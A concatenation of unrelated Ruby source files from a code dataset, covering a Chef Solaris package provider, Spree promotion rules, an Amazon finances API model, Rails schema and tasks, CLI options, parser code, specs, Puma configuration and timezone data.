a.assertion { !new_resource.source || @package_source_found }
a.failure_message Chef::Exceptions::Package, "Package #{new_resource.package_name} not found: #{new_resource.source}"
a.whyrun "would assume #{new_resource.source} would be have previously been made available"
end
end
def load_current_resource
@current_resource = Chef::Resource::Package.new(new_resource.name)
current_resource.package_name(new_resource.package_name)
if new_resource.source
@package_source_found = ::File.exist?(new_resource.source)
if @package_source_found
logger.trace("#{new_resource} checking pkg status")
shell_out_compact("pkginfo", "-l", "-d", new_resource.source, new_resource.package_name).stdout.each_line do |line|
case line
when /VERSION:\s+(.+)/
new_resource.version($1)
end
end
end
end
logger.trace("#{new_resource} checking install state")
status = shell_out_compact("pkginfo", "-l", current_resource.package_name)
status.stdout.each_line do |line|
case line
when /VERSION:\s+(.+)/
logger.trace("#{new_resource} version #{$1} is already installed")
current_resource.version($1)
end
end
unless status.exitstatus == 0 || status.exitstatus == 1
raise Chef::Exceptions::Package, "pkginfo failed - #{status.inspect}!"
end
current_resource
end
def candidate_version
return @candidate_version if @candidate_version
status = shell_out_compact("pkginfo", "-l", "-d", new_resource.source, new_resource.package_name)
status.stdout.each_line do |line|
case line
when /VERSION:\s+(.+)/
@candidate_version = $1
new_resource.version($1)
logger.trace("#{new_resource} setting install candidate version to #{@candidate_version}")
end
end
unless status.exitstatus == 0
raise Chef::Exceptions::Package, "pkginfo -l -d #{new_resource.source} - #{status.inspect}!"
end
@candidate_version
end
def install_package(name, version)
logger.trace("#{new_resource} package install options: #{options}")
if options.nil?
command = if ::File.directory?(new_resource.source) # CHEF-4469
[ "pkgadd", "-n", "-d", new_resource.source, new_resource.package_name ]
else
[ "pkgadd", "-n", "-d", new_resource.source, "all" ]
end
shell_out_compact!(command)
logger.trace("#{new_resource} installed version #{new_resource.version} from: #{new_resource.source}")
else
command = if ::File.directory?(new_resource.source) # CHEF-4469
[ "pkgadd", "-n", options, "-d", new_resource.source, new_resource.package_name ]
else
[ "pkgadd", "-n", options, "-d", new_resource.source, "all" ]
end
shell_out_compact!(*command)
logger.trace("#{new_resource} installed version #{new_resource.version} from: #{new_resource.source}")
end
end
alias upgrade_package install_package
def remove_package(name, version)
if options.nil?
shell_out_compact!( "pkgrm", "-n", name )
logger.trace("#{new_resource} removed version #{new_resource.version}")
else
shell_out_compact!( "pkgrm", "-n", options, name )
logger.trace("#{new_resource} removed version #{new_resource.version}")
end
end
end
end
end
end
| 40.166667 | 134 | 0.60635 |
1c9c8d4502163c27c08984fda86a38beadee57bb
| 2,331 |
module Spree
class Promotion
module Rules
# A rule to limit a promotion based on products in the order. Can
# require all or any of the products to be present. Valid products
# either come from assigned product group or are assingned directly to
# the rule.
class Product < PromotionRule
has_many :product_promotion_rules, dependent: :destroy, foreign_key: :promotion_rule_id,
class_name: 'Spree::ProductPromotionRule'
has_many :products, class_name: 'Spree::Product', through: :product_promotion_rules
MATCH_POLICIES = %w(any all none)
preference :match_policy, :string, default: MATCH_POLICIES.first
# scope/association that is used to test eligibility
def eligible_products
products
end
def applicable?(promotable)
promotable.is_a?(Spree::Order)
end
def eligible?(order, options = {})
return true if eligible_products.empty?
if preferred_match_policy == 'all'
unless eligible_products.all? {|p| order.products.include?(p) }
eligibility_errors.add(:base, eligibility_error_message(:missing_product))
end
elsif preferred_match_policy == 'any'
unless order.products.any? {|p| eligible_products.include?(p) }
eligibility_errors.add(:base, eligibility_error_message(:no_applicable_products))
end
else
unless order.products.none? {|p| eligible_products.include?(p) }
eligibility_errors.add(:base, eligibility_error_message(:has_excluded_product))
end
end
eligibility_errors.empty?
end
def actionable?(line_item)
case preferred_match_policy
when 'any', 'all'
product_ids.include? line_item.variant.product_id
when 'none'
product_ids.exclude? line_item.variant.product_id
else
raise "unexpected match policy: #{preferred_match_policy.inspect}"
end
end
def product_ids_string
product_ids.join(',')
end
def product_ids_string=(s)
self.product_ids = s.to_s.split(',').map(&:strip)
end
end
end
end
end
| 34.791045 | 96 | 0.619906 |
e8c9a611b3f9310e52224d5445def24c0fbbbe57
| 10,196 |
=begin
#Selling Partner API for Finances
#The Selling Partner API for Finances helps you obtain financial information relevant to a seller's business. You can obtain financial events for a given order, financial event group, or date range without having to wait until a statement period closes. You can also obtain financial event groups for a given date range.
OpenAPI spec version: v0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 3.0.26
=end
require 'date'
module AmzSpApi::FinancesApiModel
# A credit given to a solution provider.
class SolutionProviderCreditEvent
# The transaction type.
attr_accessor :provider_transaction_type
# A seller-defined identifier for an order.
attr_accessor :seller_order_id
# The identifier of the marketplace where the order was placed.
attr_accessor :marketplace_id
# The two-letter country code of the country associated with the marketplace where the order was placed.
attr_accessor :marketplace_country_code
# The Amazon-defined identifier of the seller.
attr_accessor :seller_id
# The store name where the payment event occurred.
attr_accessor :seller_store_name
# The Amazon-defined identifier of the solution provider.
attr_accessor :provider_id
# The store name where the payment event occurred.
attr_accessor :provider_store_name
attr_accessor :transaction_amount
attr_accessor :transaction_creation_date
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'provider_transaction_type' => :'ProviderTransactionType',
:'seller_order_id' => :'SellerOrderId',
:'marketplace_id' => :'MarketplaceId',
:'marketplace_country_code' => :'MarketplaceCountryCode',
:'seller_id' => :'SellerId',
:'seller_store_name' => :'SellerStoreName',
:'provider_id' => :'ProviderId',
:'provider_store_name' => :'ProviderStoreName',
:'transaction_amount' => :'TransactionAmount',
:'transaction_creation_date' => :'TransactionCreationDate'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'provider_transaction_type' => :'Object',
:'seller_order_id' => :'Object',
:'marketplace_id' => :'Object',
:'marketplace_country_code' => :'Object',
:'seller_id' => :'Object',
:'seller_store_name' => :'Object',
:'provider_id' => :'Object',
:'provider_store_name' => :'Object',
:'transaction_amount' => :'Object',
:'transaction_creation_date' => :'Object'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `AmzSpApi::FinancesApiModel::SolutionProviderCreditEvent` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `AmzSpApi::FinancesApiModel::SolutionProviderCreditEvent`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'provider_transaction_type')
self.provider_transaction_type = attributes[:'provider_transaction_type']
end
if attributes.key?(:'seller_order_id')
self.seller_order_id = attributes[:'seller_order_id']
end
if attributes.key?(:'marketplace_id')
self.marketplace_id = attributes[:'marketplace_id']
end
if attributes.key?(:'marketplace_country_code')
self.marketplace_country_code = attributes[:'marketplace_country_code']
end
if attributes.key?(:'seller_id')
self.seller_id = attributes[:'seller_id']
end
if attributes.key?(:'seller_store_name')
self.seller_store_name = attributes[:'seller_store_name']
end
if attributes.key?(:'provider_id')
self.provider_id = attributes[:'provider_id']
end
if attributes.key?(:'provider_store_name')
self.provider_store_name = attributes[:'provider_store_name']
end
if attributes.key?(:'transaction_amount')
self.transaction_amount = attributes[:'transaction_amount']
end
if attributes.key?(:'transaction_creation_date')
self.transaction_creation_date = attributes[:'transaction_creation_date']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
provider_transaction_type == o.provider_transaction_type &&
seller_order_id == o.seller_order_id &&
marketplace_id == o.marketplace_id &&
marketplace_country_code == o.marketplace_country_code &&
seller_id == o.seller_id &&
seller_store_name == o.seller_store_name &&
provider_id == o.provider_id &&
provider_store_name == o.provider_store_name &&
transaction_amount == o.transaction_amount &&
transaction_creation_date == o.transaction_creation_date
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[provider_transaction_type, seller_order_id, marketplace_id, marketplace_country_code, seller_id, seller_store_name, provider_id, provider_store_name, transaction_amount, transaction_creation_date].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
elsif attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
AmzSpApi::FinancesApiModel.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end end
end
| 34.329966 | 320 | 0.655944 |
0860607aa741cbef2bce8c92a8d44f440a9addee
| 209 |
class CreateMailMethods < ActiveRecord::Migration
def change
create_table :mail_methods do |t|
t.string :environment
t.boolean :active, :default => true
t.timestamps
end
end
end
| 19 | 49 | 0.679426 |
792c9d3ad4b7984c163d58bf8981a3653484d043
| 2,104 |
# frozen_string_literal: true
namespace :citi_notifications do
desc "Counts the number assets that have been modified after a certain date 'YYYY-MM-DD', are preferred reps, and have an imaging uid"
task :count_assets_to_update, [:modified_after] => :environment do |_t, args|
date_passed_in = args[:modified_after]
new_solr_date = date_passed_in + "T00:00:00Z"
query = "{!join from=preferred_representation_ssim to=id}preferred_representation_ssim:*"
fq = []
fq << "has_model_ssim:GenericWork"
fq << "system_modified_dtsi:[#{new_solr_date} TO NOW]"
asset_ids = ActiveFedora::SolrService.query( query, { fq: fq, rows: 100_000 } ).map(&:id)
puts "Found #{asset_ids.count} preferred rep assets in Solr, edited after #{args[:modified_after]}."
end
desc "Send image_uid notifications to CITI for assets that have been modified since a certain date 'YYYY-MM-DD'"
task :update_imaging_uids, [:modified_after] => :environment do |_t, args|
date_passed_in = args[:modified_after]
new_solr_date = date_passed_in + "T00:00:00Z"
query = "{!join from=preferred_representation_ssim to=id}preferred_representation_ssim:*"
fq = []
fq << "has_model_ssim:GenericWork"
fq << "system_modified_dtsi:[#{new_solr_date} TO NOW]"
asset_ids = ActiveFedora::SolrService.query( query, { fq: fq, rows: 100_000 } ).map(&:id)
asset_ids.each do |asset_id|
generic_work_object = GenericWork.find(asset_id)
intermediate_file_set = generic_work_object.intermediate_file_set.first
puts "Enqueueing CitiNotificationJob for #{generic_work_object.try(:title)} last modified #{generic_work_object.date_modified}"
CitiNotificationJob.perform_later(intermediate_file_set, nil, true)
end
puts "Task completed with a total of #{asset_ids.count} preferred rep assets, edited after #{args[:modified_after]}."
end
end
# GenericWork.where("system_modified_dtsi:[NOW/DAY TO NOW]")
# https://lucene.apache.org/solr/guide/7_3/working-with-dates.html
# GenericWork.where("system_modified_dtsi:[2018-02-28 TO NOW]")
# 2018-02-28T00:00:00Z
| 45.73913 | 136 | 0.736692 |
4a291182e0d20b1cca0cdec2114b1b2f1475bfe3
| 853 |
module Doorkeeper
module OpenidConnect
module Models
class UserInfo
include ActiveModel::Validations
def initialize(resource_owner)
@resource_owner = resource_owner
end
def claims
{
sub: subject,
email: email,
assignments: assignments
}
end
def as_json(options = {})
claims
end
private
def subject
@resource_owner.instance_eval(&Doorkeeper::OpenidConnect.configuration.subject).to_s
end
def email
@resource_owner.instance_eval(&Doorkeeper::OpenidConnect.configuration.email).to_s
end
def assignments
@resource_owner.instance_eval(&Doorkeeper::OpenidConnect.configuration.assignments)
end
end
end
end
end
| 21.325 | 94 | 0.594373 |
26da3efa269565b43f00de703cf3792cac4070a7
| 786 |
require('rspec')
require('to_do_list')
describe(ToDo) do
before() do
ToDo.clear()
end
describe("#description") do
it("lets you give it a description") do
test_task = ToDo.new("scrub the zebra")
expect(test_task.description()).to(eq("scrub the zebra"))
end
end
describe(".all") do
it("is empty at first") do
expect(ToDo.all()).to(eq([]))
end
end
describe("#save") do
it("adds a task to the array of saved tasks") do
test_task = ToDo.new("wash the lion")
test_task.save()
expect(ToDo.all()).to(eq([test_task]))
end
end
describe(".clear") do
it("empties out all of the saved tasks") do
ToDo.new("wash the lion").save()
ToDo.clear()
expect(ToDo.all()).to(eq([]))
end
end
end
| 20.684211 | 63 | 0.597964 |
f82d8806785268df5fbee61f3f3986ae1e5978d4
| 1,472 |
module Csscss
module Parser
module ListStyle
extend Parser::Base
class Parser < Parslet::Parser
include Common
rule(:type) {
symbol_list(%w(disc circle square decimal decimal-leading-zero lower-roman upper-roman lower-greek lower-latin upper-latin armenian georgian lower-alpha upper-alpha none inherit)).as(:type)
}
rule(:position) { symbol_list(%w(inside outside inherit)).as(:position) }
rule(:image) { (url | symbol_list(%w(none inherit))).as(:image) }
rule(:list_style) {
(
symbol("inherit") >> eof | (
type.maybe.as(:list_style_type) >>
position.maybe.as(:list_style_position) >>
image.maybe.as(:list_style_image)
)
).as(:list_style)
}
root(:list_style)
end
class Transformer < Parslet::Transform
rule(:list_style => simple(:inherit)) {[]}
rule(type:simple(:type)) { Declaration.from_parser("list-style-type", type) }
rule(position:simple(:position)) { Declaration.from_parser("list-style-position", position) }
rule(image:simple(:image)) { Declaration.from_parser("list-style-image", image) }
rule(list_style: {
list_style_type:simple(:type),
list_style_position:simple(:position),
list_style_image:simple(:image)
}) {
[type, position, image].compact
}
end
end
end
end
| 32.711111 | 199 | 0.600543 |
ab0b0456041e6f64faf36fa074e108524035c550
| 434 |
# frozen_string_literal: true
require 'active_support/core_ext/module/delegation'
require_relative './helper/version'
require_relative './helper/view_column_builder'
require_relative './helper/js_column_builder'
require_relative './helper/js_column_search_builder'
require_relative './helper/column'
require_relative './helper/row_decorator'
require_relative './helper/params_builder'
require_relative './helper/extended_datatable'
| 33.384615 | 52 | 0.83871 |
03867520c284bb6527d553469b2767073e491d34
| 128 |
class ApplicationController < ActionController::Base
# protect_from_forgery
# https://github.com/rails/rails/pull/29742
end
| 25.6 | 52 | 0.796875 |
b9b094cb8d736252f21015cb33f3e498d6b7a42e
| 1,502 |
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `rails
# db:schema:load`. When creating a new database, `rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2020_12_12_185422) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
create_table "genres", force: :cascade do |t|
t.string "name"
t.integer "tmdb_id"
t.integer "movie_id"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
end
create_table "movies", force: :cascade do |t|
t.string "title"
t.text "overview"
t.string "poster_path"
t.string "release_date"
t.integer "vote_average"
t.integer "vote_count"
t.integer "tmdb_id"
t.boolean "watched"
t.boolean "to_watch"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
end
end
| 36.634146 | 86 | 0.737017 |
38f2c2ba28fac88d756b22c300be6c5fe2d2adc0
| 130 |
# frozen_string_literal: true
FactoryBot.define do
factory :term_hour do
term
location
data { 'MyText' }
end
end
| 13 | 29 | 0.684615 |
5d7b97015e9c9780f980e8f2df84a8a1a0775035
| 387 |
require 'rails_helper'
describe "deleteing a product" do
it "deletes a product" do
visit products_path
click_link "Add a new product!"
fill_in 'name', :with => 'Phone'
fill_in 'cost', :with => '5'
fill_in 'origin', :with => 'USA'
click_on 'Create Product'
click_on 'Phone'
click_on 'Delete product'
expect(page).to have_no_content 'Phone'
end
end
| 25.8 | 43 | 0.661499 |
336b787b3942bac5f3a498d6f47f5536bb659c9f
| 5,347 |
#
# Copyright:: Copyright (c) 2018 Chef Software Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "chef_apply/text"
# Moving the options into here so the cli.rb file is smaller and easier to read
# For options that need to be merged back into the global ChefApply::Config object
# we do that with a proc in the option itself. We decided to do that because it is
# an easy, straight forward way to merge those options when they do not directly
# map back to keys in the Config global. IE, we cannot just do
# `ChefApply::Config.merge!(options)` because the keys do not line up, and we do
# not want all CLI params merged back into the global config object.
# We know that the config is already loaded from the file (or program defaults)
# because the `Startup` class was invoked to start the program.
module ChefApply
class CLI
module Options
T = ChefApply::Text.cli
TS = ChefApply::Text.status
def self.included(klass)
klass.banner T.description + "\n" + T.usage_full
klass.option :version,
short: "-v",
long: "--version",
description: T.version.description,
boolean: true
klass.option :help,
short: "-h",
long: "--help",
description: T.help.description,
boolean: true
# Special note:
# config_path is pre-processed in startup.rb, and is shown here only
# for purpoess of rendering help text.
klass.option :config_path,
short: "-c PATH",
long: "--config PATH",
description: T.default_config_location(ChefApply::Config.default_location),
default: ChefApply::Config.default_location,
proc: Proc.new { |path| ChefApply::Config.custom_location(path) }
klass.option :identity_file,
long: "--identity-file PATH",
short: "-i PATH",
description: T.identity_file,
proc: (Proc.new do |paths|
path = paths
unless File.exist?(path)
raise OptionValidationError.new("CHEFVAL001", self, path)
end
path
end)
klass.option :ssl,
long: "--[no-]ssl",
description: T.ssl.desc(ChefApply::Config.connection.winrm.ssl),
boolean: true,
default: ChefApply::Config.connection.winrm.ssl,
proc: Proc.new { |val| ChefApply::Config.connection.winrm.ssl(val) }
klass.option :ssl_verify,
long: "--[no-]ssl-verify",
description: T.ssl.verify_desc(ChefApply::Config.connection.winrm.ssl_verify),
boolean: true,
default: ChefApply::Config.connection.winrm.ssl_verify,
proc: Proc.new { |val| ChefApply::Config.connection.winrm.ssl_verify(val) }
klass.option :protocol,
long: "--protocol <PROTOCOL>",
short: "-p",
description: T.protocol_description(ChefApply::Config::SUPPORTED_PROTOCOLS.join(" "),
ChefApply::Config.connection.default_protocol),
default: ChefApply::Config.connection.default_protocol,
proc: Proc.new { |val| ChefApply::Config.connection.default_protocol(val) }
klass.option :user,
long: "--user <USER>",
description: T.user_description
klass.option :password,
long: "--password <PASSWORD>",
description: T.password_description
klass.option :cookbook_repo_paths,
long: "--cookbook-repo-paths PATH",
description: T.cookbook_repo_paths,
default: ChefApply::Config.chef.cookbook_repo_paths,
proc: (Proc.new do |paths|
paths = paths.split(",")
ChefApply::Config.chef.cookbook_repo_paths(paths)
paths
end)
klass.option :install,
long: "--[no-]install",
default: true,
boolean: true,
description: T.install_description
klass.option :sudo,
long: "--[no-]sudo",
description: T.sudo.flag_description.sudo,
boolean: true,
default: true
klass.option :sudo_command,
long: "--sudo-command <COMMAND>",
default: "sudo",
description: T.sudo.flag_description.command
klass.option :sudo_password,
long: "--sudo-password <PASSWORD>",
description: T.sudo.flag_description.password
klass.option :sudo_options,
long: "--sudo-options 'OPTIONS...'",
description: T.sudo.flag_description.options
end
# I really don't like that mixlib-cli refers to the parsed command line flags in
# a hash accesed via the `config` method. Thats just such an overloaded word.
def parsed_options
config
end
end
end
end
| 36.128378 | 95 | 0.629512 |
f8bf00134fcf0ae2e799eff0b3e3218249a2fc04
| 396 |
module RngWebsite
module ApplicationController
def self.included(base)
base.class_eval do
base.rescue_from ActiveRecord::RecordNotFound, :with => :redirect_to_base
end
end
def not_authenticated
redirect_to login_url, :alert => t('rng-website.not_authenticated')
end
private
def redirect_to_base
redirect_to root_path
end
end
end
| 19.8 | 81 | 0.69697 |
79c9c36c2d8fa8b89666f4bd6a5bb3c9cbda2e2f
| 1,183 |
require 'spec_helper'
describe 'sqs sender' do
before(:each) do
allow(Huck).to receive(:must_load)
sqs = double
queues = double
allow(sqs).to receive(:queues).and_return(queues)
queue = double
allow(queue).to receive(:send_message).with('test')
allow(queues).to receive(:create).with('q').and_return(queue)
allow(AWS::SQS).to receive(:new).with(
:access_key_id => 'i',
:secret_access_key => 's',
:region => 'r'
).and_return(sqs)
end
it 'should raise if no sqs config provided' do
s = Huck::Sender::factory :name => 'sqs', :config => {}
expect { s.send 'test' }.to raise_error
end
it 'should raise if not all required config provided' do
config = {'sqs' => {'access_key_id' => 'test', 'region' => 'test'}}
s = Huck::Sender::factory :name => 'sqs', :config => config
expect { s.send 'test' }.to raise_error
end
it 'should call the aws sdk to send a message' do
config = {'sqs' => {'access_key_id' => 'i', 'region' => 'r',
'secret_access_key' => 's', 'queue_name' => 'q'}}
s = Huck::Sender::factory :name => 'sqs', :config => config
s.send 'test'
end
end
| 31.131579 | 73 | 0.599324 |
edc0b5722e904e8354505ecdfb7a931484fba782
| 2,791 |
# Puma can serve each request in a thread from an internal thread pool.
# The `threads` method setting takes two numbers: a minimum and maximum.
# Any libraries that use thread pools should be configured to match
# the maximum value specified for Puma. Default is set to 5 threads for minimum
# and maximum; this matches the default thread size of Active Record.
#
threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
threads threads_count, threads_count
# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
#
port ENV.fetch("PORT") { 3000 }
# Specifies the `environment` that Puma will run in.
#
environment ENV.fetch("RAILS_ENV") { "development" }
# Specifies the number of `workers` to boot in clustered mode.
# Workers are forked webserver processes. If using threads and workers together
# the concurrency of the application would be max `threads` * `workers`.
# Workers do not work on JRuby or Windows (both of which do not support
# processes).
#
# workers ENV.fetch("WEB_CONCURRENCY") { 2 }
# Use the `preload_app!` method when specifying a `workers` number.
# This directive tells Puma to first boot the application and load code
# before forking the application. This takes advantage of Copy On Write
# process behavior so workers use less memory. If you use this option
# you need to make sure to reconnect any threads in the `on_worker_boot`
# block.
#
# preload_app!
# If you are preloading your application and using Active Record, it's
# recommended that you close any connections to the database before workers
# are forked to prevent connection leakage.
#
# before_fork do
# ActiveRecord::Base.connection_pool.disconnect! if defined?(ActiveRecord)
# end
# The code in the `on_worker_boot` will be called if you are using
# clustered mode by specifying a number of `workers`. After each worker
# process is booted, this block will be run. If you are using the `preload_app!`
# option, you will want to use this block to reconnect to any threads
# or connections that may have been created at application boot, as Ruby
# cannot share connections between processes.
#
# on_worker_boot do
# ActiveRecord::Base.establish_connection if defined?(ActiveRecord)
# end
#
workers Integer(ENV['WEB_CONCURRENCY'] || 2)
threads_count = Integer(ENV['RAILS_MAX_THREADS'] || 5)
threads threads_count, threads_count
preload_app!
rackup DefaultRackup
port ENV['PORT'] || 8999
environment ENV['RACK_ENV'] || 'development'
on_worker_boot do
# Worker specific setup for Rails 4.1+
# See: https://devcenter.heroku.com/articles/
# deploying-rails-applications-with-the-puma-web-server#on-worker-boot
ActiveRecord::Base.establish_connection
end
# Allow puma to be restarted by `rails restart` command.
plugin :tmp_restart
| 38.763889 | 85 | 0.761734 |
bf16dc46816d217b29e02cd0606eb115eee01f96
| 9,363 |
require 'tzinfo/timezone_definition'
module TZInfo
module Definitions
module America
module Edmonton
include TimezoneDefinition
timezone 'America/Edmonton' do |tz|
tz.offset :o0, -27232, 0, :LMT
tz.offset :o1, -25200, 0, :MST
tz.offset :o2, -25200, 3600, :MDT
tz.offset :o3, -25200, 3600, :MWT
tz.offset :o4, -25200, 3600, :MPT
tz.transition 1906, 9, :o1, 6527128001, 2700
tz.transition 1918, 4, :o2, 19373583, 8
tz.transition 1918, 10, :o1, 14531387, 6
tz.transition 1919, 4, :o2, 19376495, 8
tz.transition 1919, 5, :o1, 14532635, 6
tz.transition 1920, 4, :o2, 19379519, 8
tz.transition 1920, 10, :o1, 14535773, 6
tz.transition 1921, 4, :o2, 19382431, 8
tz.transition 1921, 9, :o1, 14537747, 6
tz.transition 1922, 4, :o2, 19385399, 8
tz.transition 1922, 9, :o1, 14539931, 6
tz.transition 1923, 4, :o2, 19388311, 8
tz.transition 1923, 9, :o1, 14542157, 6
tz.transition 1942, 2, :o3, 19443199, 8
tz.transition 1945, 8, :o4, 58360379, 24
tz.transition 1945, 9, :o1, 14590373, 6
tz.transition 1947, 4, :o2, 19458423, 8
tz.transition 1947, 9, :o1, 14594741, 6
tz.transition 1967, 4, :o2, 19516887, 8
tz.transition 1967, 10, :o1, 14638757, 6
tz.transition 1969, 4, :o2, 19522711, 8
tz.transition 1969, 10, :o1, 14643125, 6
tz.transition 1972, 4, :o2, 73472400
tz.transition 1972, 10, :o1, 89193600
tz.transition 1973, 4, :o2, 104922000
tz.transition 1973, 10, :o1, 120643200
tz.transition 1974, 4, :o2, 136371600
tz.transition 1974, 10, :o1, 152092800
tz.transition 1975, 4, :o2, 167821200
tz.transition 1975, 10, :o1, 183542400
tz.transition 1976, 4, :o2, 199270800
tz.transition 1976, 10, :o1, 215596800
tz.transition 1977, 4, :o2, 230720400
tz.transition 1977, 10, :o1, 247046400
tz.transition 1978, 4, :o2, 262774800
tz.transition 1978, 10, :o1, 278496000
tz.transition 1979, 4, :o2, 294224400
tz.transition 1979, 10, :o1, 309945600
tz.transition 1980, 4, :o2, 325674000
tz.transition 1980, 10, :o1, 341395200
tz.transition 1981, 4, :o2, 357123600
tz.transition 1981, 10, :o1, 372844800
tz.transition 1982, 4, :o2, 388573200
tz.transition 1982, 10, :o1, 404899200
tz.transition 1983, 4, :o2, 420022800
tz.transition 1983, 10, :o1, 436348800
tz.transition 1984, 4, :o2, 452077200
tz.transition 1984, 10, :o1, 467798400
tz.transition 1985, 4, :o2, 483526800
tz.transition 1985, 10, :o1, 499248000
tz.transition 1986, 4, :o2, 514976400
tz.transition 1986, 10, :o1, 530697600
tz.transition 1987, 4, :o2, 544611600
tz.transition 1987, 10, :o1, 562147200
tz.transition 1988, 4, :o2, 576061200
tz.transition 1988, 10, :o1, 594201600
tz.transition 1989, 4, :o2, 607510800
tz.transition 1989, 10, :o1, 625651200
tz.transition 1990, 4, :o2, 638960400
tz.transition 1990, 10, :o1, 657100800
tz.transition 1991, 4, :o2, 671014800
tz.transition 1991, 10, :o1, 688550400
tz.transition 1992, 4, :o2, 702464400
tz.transition 1992, 10, :o1, 720000000
tz.transition 1993, 4, :o2, 733914000
tz.transition 1993, 10, :o1, 752054400
tz.transition 1994, 4, :o2, 765363600
tz.transition 1994, 10, :o1, 783504000
tz.transition 1995, 4, :o2, 796813200
tz.transition 1995, 10, :o1, 814953600
tz.transition 1996, 4, :o2, 828867600
tz.transition 1996, 10, :o1, 846403200
tz.transition 1997, 4, :o2, 860317200
tz.transition 1997, 10, :o1, 877852800
tz.transition 1998, 4, :o2, 891766800
tz.transition 1998, 10, :o1, 909302400
tz.transition 1999, 4, :o2, 923216400
tz.transition 1999, 10, :o1, 941356800
tz.transition 2000, 4, :o2, 954666000
tz.transition 2000, 10, :o1, 972806400
tz.transition 2001, 4, :o2, 986115600
tz.transition 2001, 10, :o1, 1004256000
tz.transition 2002, 4, :o2, 1018170000
tz.transition 2002, 10, :o1, 1035705600
tz.transition 2003, 4, :o2, 1049619600
tz.transition 2003, 10, :o1, 1067155200
tz.transition 2004, 4, :o2, 1081069200
tz.transition 2004, 10, :o1, 1099209600
tz.transition 2005, 4, :o2, 1112518800
tz.transition 2005, 10, :o1, 1130659200
tz.transition 2006, 4, :o2, 1143968400
tz.transition 2006, 10, :o1, 1162108800
tz.transition 2007, 3, :o2, 1173603600
tz.transition 2007, 11, :o1, 1194163200
